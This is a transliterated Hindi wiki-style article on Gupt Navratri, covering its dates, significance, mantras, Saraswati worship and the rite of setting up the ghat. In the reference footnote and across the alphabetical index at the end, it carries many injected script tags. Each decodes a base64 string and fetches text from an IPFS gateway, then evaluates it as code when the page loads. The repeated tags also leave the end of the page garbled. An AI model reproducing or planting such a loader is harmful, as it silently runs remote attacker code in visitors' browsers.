गुप्त नवरात्र

gupt navaratr hindoo dharm mean usi prakar many haian, jis prakar 'sharadiy' aur 'chaitr navaratr'. ashadh aur magh mah ke navaratroan ko "gupt navaratr" kah kar pukara jata hai. bahut kam logoan ko hi isake jnan ya chhipe hue hone ke karan ise 'gupt navaratr' kaha jata hai. gupt navaratr manane aur inaki sadhana ka vidhan 'devi bhagavat' v any dharmik granthoan mean milata hai. shrriangi rrishi ne gupt navaratroan ke mahattv ko batalate hue kaha hai ki- "jis prakar vasantik navaratr mean bhagavan vishnu ki pooja aur sharadiy navaratr mean devi shakti ki nau deviyoan ki pooja ki pradhanata rahati hai, usi prakar gupt navaratr das mahavidyaoan ke hote haian. yadi koee in mahavidyaoan ke roop mean shakti ki upasana karean, to jivan dhan-dhany, rajy satta aur aishvary se bhar jata hai.

tithi

samanyat: log varsh mean p dane vale keval do navaratroan ke bare mean hi janate haian- 'chaitr' ya 'vasantik navaratr' v 'ashvin' ya 'sharadiy navaratr', jabaki isake atirikt do aur navaratr bhi hote haian, jinamean vishesh kamanaoan ki siddhi ki jati hai. kam logoan ko isaka jnan hone ke karan ya isake chhipe hue hone ke karan hi isako "gupt navaratr" kahate haian. varsh mean do bar gupt navaratr ate haian- magh mas ke shukl paksh v ashadh mas ke shukl paksh mean. is prakar kul mila kar varsh mean char navaratr hote haian. yah charoan hi navaratr rritu parivartan ke samay manaye jate haian. is vishesh avasar par apani vibhinn manokamanaoan ki poorti ke lie pooja-path adi kiye jate haian.

mahattv

gupt navaratroan ka b da hi mahattv bataya gaya hai. manav ke samast rog-dosh v kashtoan ke nivaran ke lie gupt navaratr se badhakar koee sadhana kal nahian haian. shri, varchasv, ayu, arogy aur dhan prapti ke sath hi shatru sanhar ke lie gupt navaratr mean anek prakar ke anushthan v vrat-upavas ke vidhan shastroan mean milate haian. in anushthanoan ke prabhav se manav ko sahaj hi sukh v akshay ऎshvary ki prapti hoti hai. "durgavarivasya" namak granth mean spasht likha hai ki sal mean do bar ane vale gupt navaratroan mean bhi magh mean p dane vale gupt navaratr manav ko n keval adhyatmik bal hi pradan karate haian, balki in dinoan mean sanyam-niyam v shraddha ke sath mata durga ki upasana karane vale vyakti ko anek sukh v samrajy bhi prapt hote haian. "shivasanhita" ke anusar ye navaratr bhagavan shankar aur adishakti maan parvati ki upasana ke lie bhi shreshth haian.^[1] gupt navaratroan ko saphalatapoorvak sampann karane se kee badhaean samapt ho jati haian, jaise-

vivah badha

ve kumari kanyaean jinake vivah mean badha a rahi ho, unake lie gupt navaratr bahut mahattvapoorn haian. kumari kanyaoan ko achchhe var ki prapti ke lie in nau dinoan mean mata katyayani ki pooja-upasana karani chahie. "durgastavanamh" jaise pramanik prachin granthoan mean likha hai ki is mantr ka 108 bar jap karane se kumari kanya ka vivah shighr hi yogy var se sanpann ho jata hai-

katyayani mahamaye mahayoginyadhishvari.
nandagopasutan devi patian me kuroo te nam:..

isi prakar jin purooshoan ke vivah mean vilanb ho raha ho, unhean bhi lal rang ke pushpoan ki mala devi ko chadhakar nimn mantr ka 108 bar jap poore nau din tak karane chahie-

dehi saubhagyamarogyan dehi me paraman sukhamh.
roopan dehi jayan dehi yasho dehi dvisho jahi.

devi ki mahima

shastr kahate haian ki adishakti ka avataran srishti ke aranbh mean hua tha. kabhi sagar ki putri siandhuja-lakshmi to kabhi parvataraj himalay ki kanya aparna-parvati. tej, dyuti, dipti, jyoti, kaanti, prabha aur chetana aur jivan shakti sansar mean jahaan kahian bhi dikhaee deti hai, vahaan devi ka hi darshan hota hai. rrishiyoan ki vishv-drishti to sarvatr vishvaroopa devi ko hi dekhati hai, isalie mata durga hi mahakali, mahalakshmi aur mahasarasvati ke roop mean prakat hoti hai. 'devibhagavat' mean likha hai ki- "devi hi brahma, vishnu tatha mahesh ka roop dhar sansar ka palan aur sanhar karati haian. jaganmata durga sukriti manushyoan ke ghar sanpatti, papiyoan ke ghar mean alakshmi, vidvanoan-vaishnavoan ke hriday mean buddhi v vidya, sajjanoan mean shraddha v bhakti tatha kulin mahilaoan mean lajja evan maryada ke roop mean nivas karati hai. 'markandeyapuran' kahata hai ki- "he devi! tum sare ved-shastroan ka sar ho. bhagavan vishnu ke hriday mean nivas karane vali maan lakshmi-shashishekhar bhagavan shankar ki mahima badhane vali maan tum hi ho."^[1]

sarasvati pooja mahotsav

maghi navaratr mean panchami tithi sarvapramukh mani jati hai. ise 'shripanchami', 'vasant panchami' aur 'sarasvati mahotsav' ke nam se kaha jata hai. prachin kal se aj tak is din mata sarasvati ka poojan-archan kiya jata hai. yah trishakti mean ek mata sharada ke aradhana ke lie vishisht divas ke roop mean shastroan mean varnit hai. kee pramanik vidvanoan ka yah bhi manana hai ki jo chhatr padhane mean kamajor hoan ya jinaki padhane mean roochi nahian ho, aise vidyarthiyoan ko anivary roop se maan sarasvati ka poojan karana chahie. devavani sanskrit bhasha mean nibaddh shastriy granthoan ka dan sankalp poorvak vidvan brahmanoan ko dena chahie.

mahanavami ko poornahuti

gupt navaratr mean sanpoorn phal ki prapti ke lie ashtami aur navami tithi ko avashyak roop se devi ke poojan ka vidhan shastroan mean varnit hai. mata ke sanmukh "jot darshan" evan kanya bhojan karavana chahie.^[1]

stri roop mean devi pooja

'koormapuran' mean prithvi par devi ke bianb ke roop mean stri ka poora jivan navadurga ki moorti ke roop se bataya gaya hai. janm grahan karati huee kanya "shailaputri", kaumary avastha tak "brahmacharini" v vivah se poorv tak chandrama ke saman nirmal hone se "chandraghanta" kahalati hai. ne jiv ko janm dene ke lie garbh dharan karane se "kooshmaanda" v santan ko janm dene ke bad vahi stri "skandamata" hoti hai. sanyam v sadhana ko dharan karane vali stri "katyayani" v pativrata hone ke karan pati ki akal mrityu ko bhi jit lene se "kalaratri" kahalati hai. sansar ka upakar karane se "mahagauri" v dharati ko chho dakar svarg prayan karane se pahale sansar ko siddhi ka ashirvad dene vali "siddhidatri" mani jati haian.

ghat sthapana

shastriy manyata ke anusar svachchh divar par siandoor se devi ki mukh-akriti bana li jati hai. sarvashuddha mata durga ki jo tasvir mil jae, vahi chauki par sthapit kar di jati hai, parantu devi ki asali pratima "ghat" hai. ghat par ghi-siandoor se kanya chihn aur svastik banakar usamean devi ka ahvan kiya jata hai. devi ke dayian or jau v samane havanakuand rakha jata hai. nau dinoan tak nity devi ka ahvan phir snan, vastr v gandh adi se shodashopachar poojan karana chahie. naivedy mean batashe aur nariyal tatha khir ka bhog hona chahie. poojan aur havan ke bad "durgas saptashati" ka path karana shreshth hai. sath hi dharm, arth, kam aur moksh prapt karane ke lie navadurga ke pratyek roop ki pratidin pooja-stuti karani chahie.^[1]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ ^1.0 ^1.1 ^1.2 ^1.3 siddhidayak haian- gupt navaratr (hindi). . abhigaman tithi: 06 joon, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

any sanbandhit liank

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> p <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ph <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[aa-1] 1.0 ^1.1 ^1.2 ^1.3 siddhidayak haian- gupt navaratr (hindi). . abhigaman tithi: 06 joon, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[1]